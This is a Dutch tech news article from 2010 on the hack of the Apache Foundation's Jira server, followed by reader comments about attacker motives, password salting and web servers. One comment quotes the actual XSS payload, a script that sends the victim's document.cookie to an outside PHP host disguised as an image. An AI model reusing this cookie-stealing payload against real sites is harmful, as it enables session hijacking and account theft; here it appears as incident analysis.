Hackers bemachtigen wachtwoorden Apache Foundation

Door Dimitri Reijerman, woensdag 14 april 2010 13:32, 58 reacties • Feedback
Submitter: KeepSake

Op een server van de Apache Foundation zijn wachtwoorden buitgemaakt nadat een webdienst was gekraakt. Ook een webserver van de firma Atlassian, de leverancier van de betreffende software, werd door de hackers succesvol aangevallen.

Het Apache Infrastructure Team meldt op zijn blog dat hackers er op 5 april in zijn geslaagd om sessies van een aantal beheerders te kapen. De hackers gebruikten een cross site scripting-aanval die met een tinyurl-adres was gemaskeerd en die een lek in Jira misbruikte. Jira wordt door ontwikkelaars van de Apache Foundation gebruikt als issue tracker. Tegelijk met deze hack werd een brute force-aanval uitgevoerd op de inlogpagina van Apaches Jira-server.

De hackers slaagden er uiteindelijk in adminstratorrechten in Jira te krijgen, waarna dit systeem werd gebruikt om diverse java-applicaties te draaien, waaronder een wachtwoordenlogger. Daarmee wisten de hackers op 9 april root-toegang tot de bewuste server te krijgen. Deze server draaide ook Bugzilla en Confluence en ook hiervan moeten de wachtwoorden als gecompromitteerd worden beschouwd.

Toen de Apache-systeembeheerders de hackers ontdekten, werden de betreffende diensten in allerijl naar een andere server verhuisd. De hackers hadden inmiddels echter al een tweede server gekraakt, die net als de eerste als verloren moet worden beschouwd. Inmiddels zijn de services weer via andere servers in de lucht. Apache beschouwt alle wachtwoorden op de gehackte server als gecompromitteerd en roept gebruikers van de diensten Jira, Bugzilla en Confluence op om nieuwe wachtwoorden aan te maken.

Dezelfde hackers hebben bovendien een server van Jira-maker Atlassian gekraakt. Hierbij is een database met onversleutelde wachtwoorden buitgemaakt. Het gaat daarbij om accounts die voor juli 2008 zijn aangemaakt en die per abuis niet waren weggegooid. Het bedrijf heeft alle klanten over de aanval geïnformeerd en alle wachtwoorden gereset. Voor Jira is inmiddels een patch uitgebracht die het gebruikte xss-lek moet dichten.

Reacties (58)

+2 lfs
14 april 2010 14:14

Het is een zeer uitgebreide hack geweest. De tinyrul bestaat nog steeds:

$ wget http://tinyurl.com/...
...
Resolving tinyurl.com... 216.218.139.84, 216.218.139.86
Connecting to tinyurl.com|216.218.139.84|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location:....jsp?element=name;}catch(e){}%0D%0A--></script><noscript><meta http-equiv="refresh" content="0;url=http://pastie.org/904699"></noscrip
t><script>document.write('<img src="http://teap.zzl.org/teap.php?data='%2bdocument.cookie%2b'"/>');window.location="http://pastie.org/904699";</script>...

Hier kun je goed zien dat via document.cookie het domeincookie van jira opgevraagd wordt en meegegeven wordt aan een PHP script vermomd als plaatje. Het is al met al een erg indrukwekkende hack omdat via iets simpels als XSS uiteindelijk met een bruteforce aanval, meerdere accounts zijn gehacked en er full root toegang tot een server is verkregen.
Edit: automatische hyperlink weggehaald

[Reactie gewijzigd door lfs op 14 april 2010 14:15]

+1 YopY

Development tools

@lfs • 14 april 2010 15:03

Die URL waar hij het cookie naartoe schrijft is al niet meer bereikbaar - DDoSt of offline gehaald?

Dat hij vervolgens redirect naar een stacktrace vanuit Jira op Pastie.com is wel apart. Of is dat ook onderdeel van de hack?

Gamebuster

14 april 2010 13:33

Lekker dan. Gelukkig geen bug van apache.

Wat is nou eigenlijk het nut van apache foundation hacken?

+2 stappel_
@Gamebuster • 14 april 2010 13:43

met wachtwoorden kan je software aanpassen dmv van een patch. stel je voor dat je apache httpd kan voorzien van een backdoor of een password logger.

0 GiLuX
@stappel_ • 14 april 2010 14:08

waar heb jij vandaan dat er machines zijn gehacked waar sourcecode opstaat?
heb je een link naar de bron want dat zou inderdaad wel erg zijn.

vanaalten

@GiLuX • 14 april 2010 14:27

Dat zegt hij niet. Maar het zou best het uiteindelijke (niet bereikte) doel van de hackers kunnen zijn.

Stoney3K

Hackers
Privacy
Beveiliging

@vanaalten • 14 april 2010 15:05

De hackers zouden ook gewoon de boel gehackt kunnen hebben omdat het kon, en om juist het veiligheidslek aan het licht te brengen.

Niet elke hacker breekt in systemen in voor persoonlijk gewin. Ik vind het persoonlijk al best aardig dat ze deze (best vergezochte) truc gelukt is.

Prototype666
@Stoney3K • 14 april 2010 15:19

De hackers zouden ook gewoon de boel gehackt kunnen hebben omdat het kon, en om juist het veiligheidslek aan het licht te brengen.

Niet elke hacker breekt in systemen in voor persoonlijk gewin. Ik vind het persoonlijk al best aardig dat ze deze (best vergezochte) truc gelukt is.

... waarom hebben ze dan niet een mailtje gestuurd in plaats van een java app te draaien dat passwords pikt?

psychodude
@Prototype666 • 14 april 2010 22:08

Je moet je niet vergissen hoe lang gemelde bugs, security leaks, etc blijven bestaan als je enkel een mailtje stuurt om de beheerder hiervan op de hoogte te stellen. Soms is het na een jaar nog aanwezig. Daarentegen, leg je de boel even plat... ja dan komen ze plots in beweging.

Zeg hiermee niet dat apache foundation dit soort gedrag ook vertoont, of dat de hackers eventueel vooraf op andere manier contact gezocht hebben, maar ik sluit de optie zeer zeker ook niet uit.

0 Nickname55
@Prototype666 • 15 april 2010 09:21

Omdat zoiets meestal geen ene fuk uithaalt. Pas als het kalf verdronken is ...

+1 Franske123
@Stoney3K • 14 april 2010 16:17

Alle uitgevoerde acties in deze wereld zijn voor persoonlijk gewin.
Als je vrijwilligerswerk doet dan geeft je dat een goed gevoel = persoonlijk gewin.
Als je een veiligheidslek aan het licht brengt (wat hier niet het doel was ((2e server gehackt))) dan weet je dat jij degene bent die 'de wereld verbeterd heeft' = hogere eigenwaarde = persoonlijk gewin.

0 rinnas
@Franske123 • 14 april 2010 17:40

Ja de mensheid is niet goed en goede mensen bestaan niet.

Kijk maar om je heen

Jeroen
@rinnas • 14 april 2010 18:53

Dat je ergens persoonlijk gewin uit haalt wil absoluut niet zeggen dat het geen 'goede' actie was in deze theorie.

+1 M456
@Jeroen • 14 april 2010 19:46

Dit vind ik altijd lekker vage discussies,

een actie zelf (het resultaat ervan) kan best als goed worden gezien, maar de reden die er toe aanzet is niet als beter te beschouwen dan de reden die een oplichter er toe aanzet iemand op te lichten. Als een oplichter geen schuldgevoel heeft en slechts geld wilt hebben doet hij dit uit eigen gewin. Normale mensen lichten anderen niet op omdat ze wel een schuldgevoel hebben en dat geeft negatieve emoties. Zij halen positieve emoties uit dingen die als "goed" kunnen worden omschreven. Oftewel alles blijft uit eigen gewin, je kan slechts hopen dat wat iemand uit eigen gewin doet ook positief voor anderen is, maar de reden die iemand tot een "goede" handeling aanzet is niet "beter" dan die een oplichter tot oplichten aanzet. Kan je dan wel de actie als "goed" omschrijven, of slechts als toevallig positief uitpakkend voor anderen? Een "goede" actie is immers niet vanuit ander perspectief uitgevoerd dan een "slechte" actie. (En ja dit kan je heel ver tot in het extreme trekken...)

[Reactie gewijzigd door M456 op 14 april 2010 19:55]

0 fdm391
@Franske123 • 15 april 2010 09:35

Alle uitgevoerde acties in deze wereld zijn voor persoonlijk gewin.
Als je vrijwilligerswerk doet dan geeft je dat een goed gevoel = persoonlijk gewin.
Als je een veiligheidslek aan het licht brengt (wat hier niet het doel was ((2e server gehackt))) dan weet je dat jij degene bent die 'de wereld verbeterd heeft' = hogere eigenwaarde = persoonlijk gewin.

Stel iemand wordt beveiligd. Hij/zij wordt vervolgens beschoten. Een beveiliger springt ervoor, vangt de kogel op en is dood.
Dit soort acties gebeuren in de wereld en ik kan moeilijk het persoonlijk gewin zien van dood gaan door een kogel die niet voor jou bedoeld is.

Caelestis
@Franske123 • 15 april 2010 10:47

Ja en zonder dat persoonlijke gewin is er geen reden om iets uit te voeren dus als het aan jouw ligt moeten we allemaal maar luie losers worden die de hele dag alleen maar TV kijkt of games speelt?

+1 stappel_
@GiLuX • 14 april 2010 14:30

je zou eens moeten tellen hoeveel mensen hetzelfde wachtwoord op meerder locaties gebruiken.

maar je heb gelijk dat er op deze server geen sourcecode van projecten staat.

+1 aequitas
@Gamebuster • 14 april 2010 13:45

Toegang tot gevoelige informatie, zoals kwetsbaarheden die nog niet openbaar zijn gemaakt. Zodat je deze nog kunt gebruiken voor het hacken van grote sites.

+1 Tukkertje-RaH
@Gamebuster • 14 april 2010 14:08

Waarom???

Da's duidelijk - "Smashing The Stack For Fun And Profit" (door Aleph One) - een al oud adagio van veel hackers...

Linkje naar Phrack magazine:
http://insecure.org/stf/smashstack.html

0 Stroopwafels
@Gamebuster • 14 april 2010 13:35

De kick natuurlijk...

Barleone
14 april 2010 13:52

Oei, moeten we het internet weer zoals in 1995 op cd's gaan uitgeven om het nog een beetje veilig te houden

apache servers zijn niet meer te vertrouwen.

[Reactie gewijzigd door Barleone op 14 april 2010 13:54]

+2 Gepetto
@Barleone • 14 april 2010 15:39

Ik vertrouw apache servers nog wel hoor, enig idee wat er allemaal op draait? En zet dit eens af tegen de berichten die je leest over hacks. Dat zijn er toch maar bar weinig.

Waar ik me meer zorgen over maak (en het bevreemt me dat hier niemand anders over begint) is het fenomeen Tiny-url. Als je bedenkt dat o.a. heel Twitter niet meer zonder kan, net als andere vergelijkbare diensten, dan wordt het voor kwaadwillende mensen die misbruik maken d.m.v. fishing, wel heel erg makkelijk gemaakt.

analog_
@Gepetto • 14 april 2010 15:52

Deels om die reden maar deels ook om meer controle te behouden besluiten vele sites (zoals twitter) om hun eigen tinyurl dienst te beginnen zodat ze ook controle hebben of je ernaar toe kan surfen (spam sites bv.).

Barleone
@analog_ • 15 april 2010 01:14

twitter: http://help.twitter.com/e...url-shortener-http-twt-tl
helaas kun je die niet zelf gebruiken voor je tweets.

FYI: tweakers heeft http://twk.rs

[Reactie gewijzigd door Barleone op 15 april 2010 01:15]

+1 SanneV
14 april 2010 13:35

Hopen dat ze geen backdoor in apache zelf hebben weten in te bouwen. Dan hebben ze wel zo ongeveer world domination :-)

elmuerte
@SanneV • 14 april 2010 16:49

Dat zou opvallen in het version control. Je zou een stealth commit moeten doen omdat normaal gesproken elke commit via een mailing list gepubliceerd wordt. In een stealth commit valt op voor developers die actief met de Apache HTTPd source werken.

HyperBart

@SanneV • 14 april 2010 13:44

Zolang niemand die versie dan begint te gebruiken valt het allemaal wel mee...

kipusoep
@SanneV • 14 april 2010 13:41

Lang leve IIS

0 johnkeates
@kipusoep • 14 april 2010 15:28

IIS hoeft niet eens gehackt te worden, het is sowieso brak..

0 johnkeates
@Gamebuster • 14 april 2010 15:28

Java servlets -> Tomcat (apache)
lghttpd -> httpd fork (apache)

deadinspace
@johnkeates • 14 april 2010 17:43

Java servlets -> Tomcat (apache)

Er zijn meer Java web-application servers dan Tomcat hoor. Sommigen (zoals Glassfish of JBoss) zijn gebaseerd op Tomcat, en sommige anderen (zoals IBM Websphere) niet.

Dus nee, Java servlets impliceert niet meteen Apache software.

lghttpd -> httpd fork (apache)

Nee, lighttpd is from scratch geschreven, en geen Apache httpd fork. Zie ook de korte lighttpd geschiedenis.

Orion84
@Gamebuster • 14 april 2010 13:46

Gehost op Apache Tomcat?

Overigens zou zo een backdoor natuurlijk snel gevonden worden. Als er daadwerkelijk een server gehackt is waar broncode archieven op staan dan worden die archieven natuurlijk altijd gecheckt tegen een backup, of simpelweg als vervuild beschouwd en vervangen door een schone versie.

0 coretx
@Gamebuster • 14 april 2010 13:47

Lang leven nginx!

Explodeert wat betreft marktaandeel, is door 1 persoon geschreven.
En schopt zowel IIS als Lighttpd kont.

0 sfc1971
@coretx • 14 april 2010 14:18

Alles schopt IIS kont en Lighttpd staat al tijden stil.

Probeer de volgende keer doelen te nemen die niet op het busje wachten of de lijkwagen.

0 YopY

Development tools

@coretx • 14 april 2010 15:01

"marktaandeel", "door 1 persoon geschreven" en "schopt kont" zijn niet echt criteria waar ik op let bij de keuze voor een webserver.

0 jawsper
14 april 2010 15:01

Dan bel je toch even naar het datacenter dat ze de netwerkkabel lostrekken?

Dan komen ze in ieder geval niet meer in de server zelf. Dan kun je later wel de server opschonen...

+2 johnkeates
@jawsper • 14 april 2010 15:32

Ik denk niet dat acties die in 1970 nog wel 'handig' waren nu nog nodig zijn.. Een beetje server beheerder heeft tenminste remote kvm, en anders gewoon een XEN Dom0 met een serial console naar de DomU met daarop de services. Overhead van minder dan 1%.. Veiligheid is redelijk waterdicht (als in: het is bewezen, en nog nooit is iemand slim genoeg gebleken om door VT-d heen Dom0 te misbruiken).

+1 SlasZ
14 april 2010 14:19

Gisteravond deze mail gekregen van apache:

On April 6 the issues.apache.org server was hacked. The attackers were able to install a trojan JIRA login screen and later get full root access:

https://blogs.apache.org/infra/entry/apache_org_04_09_2010

We are assuming that the attackers have a copy of the JIRA database, which includes a hash (SHA-512 unsalted) of the password you set when signing up as 'xxxxxx' to JIRA. If the password you set was not of great quality (eg. based on a dictionary word), it should be assumed that the attackers can guess your password from the password hash via brute force.

The upshot is that someone malicious may know both your email address and a password of yours.

This is a problem because many people reuse passwords across online services. If you reuse passwords across systems, we urge you to change your passwords on ALL SYSTEMS that might be using the compromised JIRA password. Prime examples might be gmail or hotmail accounts, online banking sites, or sites known to be related to your email's domain, xxxxxxxxx.com.

Mammon
@SlasZ • 14 april 2010 14:33

En hier weer een duidelijk voorbeeld waarom je salt moet toevoegen aan je hash.

+1 YopY

Development tools

@Mammon • 14 april 2010 15:04

Maakt niet zoveel uit als ze de salt ook weten. Zie ook veel systemen waar de salt gewoon naast het wachtwoord in de database staat.

elmuerte
@YopY • 14 april 2010 16:55

Ja dus? De salt zorgt er juist voor dat de rainbow tables niet meer nuttig zijn. Zonder salt heb je genoeg aan de collision.
hash(password) == hash(collision)
hash(password + salt) == hash(collision) ... maar dan bij het invoeren van collision krijg je hash(collision + salt) wat niet gelijk is aan hash(password + salt)

Jeroen
@elmuerte • 14 april 2010 19:05

als

collision = password + salt

dan doe je toch gewoon

collision - salt = password

+1 theguyofdoom
@Jeroen • 14 april 2010 20:48

als

collision = password + salt

dan doe je toch gewoon

collision - salt = password

Het punt is alleen dat je nieuwe tabellen moet maken met hashes. Als je een sterke salt gebruikt ( je kunt namelijk vaak ook speciale tekens gebruiken, of karakters die niet eens een visuele representatie hebben (ASCII 1 - 20 bijv.) ) staan de hashes 9 van de tien keer niet in de tabel.

Korte intro op salten:

//Ik gebruik ff php syntax
md5('password'); // == 5f4dcc3b5aa765d61d8327deb882cf99
// salt wachtwoord
md5('peper&zout' . 'password') ; // == 6576c57d4f4e9e5db904fb525d3711c3

Er staan op internet tabellen met md5 hashes. Deze tabellen kun je gebruiken om de eerste te raden. Maar omdat de tweede een salt heeft, is deze moeilijker te kraken, want deze staat niet in zon voorgegenereerde tabel. Zon tabel maken kost even veel tot meer tijd dan een brute-force aanval op de hash. Als je een constante gebruikt als salt, hoeft de aanvaller maar 1 tabel te maken, en kan hij daarna gewoon opzoeken. Maar in het geval dat je steeds andere salts gebruikt, kan de aanvaller dus niet steeds dezelfde tabel gebruiken, en kost de aanval dus heel veel tijd.

Alex

@Mammon • 14 april 2010 15:13

Hmmm vast. Salt is soms bruikbaar, maar vaker heel onveilig te implementeren.
Zie: http://www.slideshare.net...-and-caching-presentation

0 hackerhater

@Mammon • 14 april 2010 23:14

Dat was nutteloos hier omdat ze full server access hadden
cq ze konden gewoon opzoeken in de code wat de salt was

roy-t
14 april 2010 13:35

Wel kwalijk dat er bij Atlassian, een professioneel bedrijf, toch nog ergens ongehashde wachtwoorden werden opgeslagen.

+1 Spectral
@roy-t • 14 april 2010 13:47

Lees anders even het artikel van Atlassian zelf voordat je gaat roepen. http://blogs.atlassian.co..._our_security_breach.html

Het was een oude authenticatie database die ze voor Crowd gebruikten. Als je zelf ooit een wachtwoordconnector schrijft voor het vullen van andere systemen snap je precies waarom ze dit gedaan hebben.

Evanescent

@Spectral • 14 april 2010 14:30

[...] Als je zelf ooit een wachtwoordconnector schrijft voor het vullen van andere systemen snap je precies waarom ze dit gedaan hebben.

Grapjas. Alsof iedereen hier programmeur is

Het blijft gewoon slordig, zoals ik het in ieder geval in het bericht van Tweakers.net lees, dat ze een oude database vergeten zijn te verwijderen. Een database met onbeveiligde gegevens nota bene.

+1 BRAINLESS01
@Evanescent • 14 april 2010 14:41

Als je een ander systeem met data moet vullen ontkom je er bijna niet aan om die wachtwoorden plain-text op te slaan. Waarom zou je onder normale omstandigheden een database weg gooien? Hij hoort niet beschikbaar te zijn, maar ik kan me ook niet voorstellen dat ze hem met een uithangbord hebben neergezet: "Hier staan plain-text wachtwoorden in!". Stel dat het systeem wat je gevuld hebt op z'n bek gaat en opnieuw gevuld moet worden, dan is zo'n oude backup heel handig.

+1 PPie

@BRAINLESS01 • 14 april 2010 15:07

Maar waarschijnlijk is het wel handiger dat bestand dan encrypted op te slaan en niet als unencrypted plain text. Naam van de file of een eenvoudige grep geeft al gauw weg dat het een password database is...

+1 Jarige
@PPie • 14 april 2010 18:51

Het gaat hier om een database, en die is sowieso al beveiligd met wachtwoord. En zelfs encrypted zou het wel gekraakt zijn. In een artikel op Webwereld staat dat de hackers root rechten hebben verkregen op verschillende machines. En het hebben van root rechten staat gelijk aan het compleet bezitten van dat systeem. Met dat wachtwoord kunnen ze gewoon alles doen; ook het unencrypten van een database.

Wat volgens mij beter zou zijn geweest, is dat ze die backup server van het internet af hadden gehaald. Ik heb dit artikel niet gelezen, dus ik weet niet in hoeverre dit al gebeurt is...

Keypunchie
14 april 2010 14:08

Ongetwijfeld gebeuren dit soort hacks bij meer bedrijven en organisaties, maar die berichten er meestal niet zo uitgebreid over.

Het lezen van het incident rapport vind ik zeel verhelderend. Er zitten een paar duidelijke kwetsbaarheden in hun security. Zowel in de techniek (ssh-login open naar het internet), maar ook in de menselijke kant (een web-wachtwoord dat gelijk is aan een lokaal gebruikersaccount met sudo-rechten). Uit dit soort cases kun je enorm veel leren, voor op je werk, maar ook voor thuis.

De krakers wisten overigens verdomde goed wat ze deden en dit was niet het werk van script-kiddies, die toevallig over een bekend lek struikelen, maar ze waren heel bewust bezig hiermee. Ben benieuwd of nog uitgevogeld gaat worden uit welke hoek de aanval kwam. Georganiseerde misdaad? China?

0 hottestbrain
14 april 2010 13:34

Die hackers hebben het wel lang uitgehouden zonder ontdekt te worden:o

Rigs
14 april 2010 13:47

Als je eenmaal shell toegang hebt kun je waarschijnlijk ook de httpd.conf lezen

ps: i vergeten ergens in adminstratorrechten in post

elmuerte
@Rigs • 14 april 2010 16:47

Ja dus? In de httpd.conf staat geen gevoelige informatie.

1 2 Volgende

Op dit item kan niet meer gereageerd worden.

Cookies op Tweakers

Hackers bemachtigen wachtwoorden Apache Foundation

Lees meer over

Gerelateerde content

Sorteer op:

Weergave:

Reacties (58)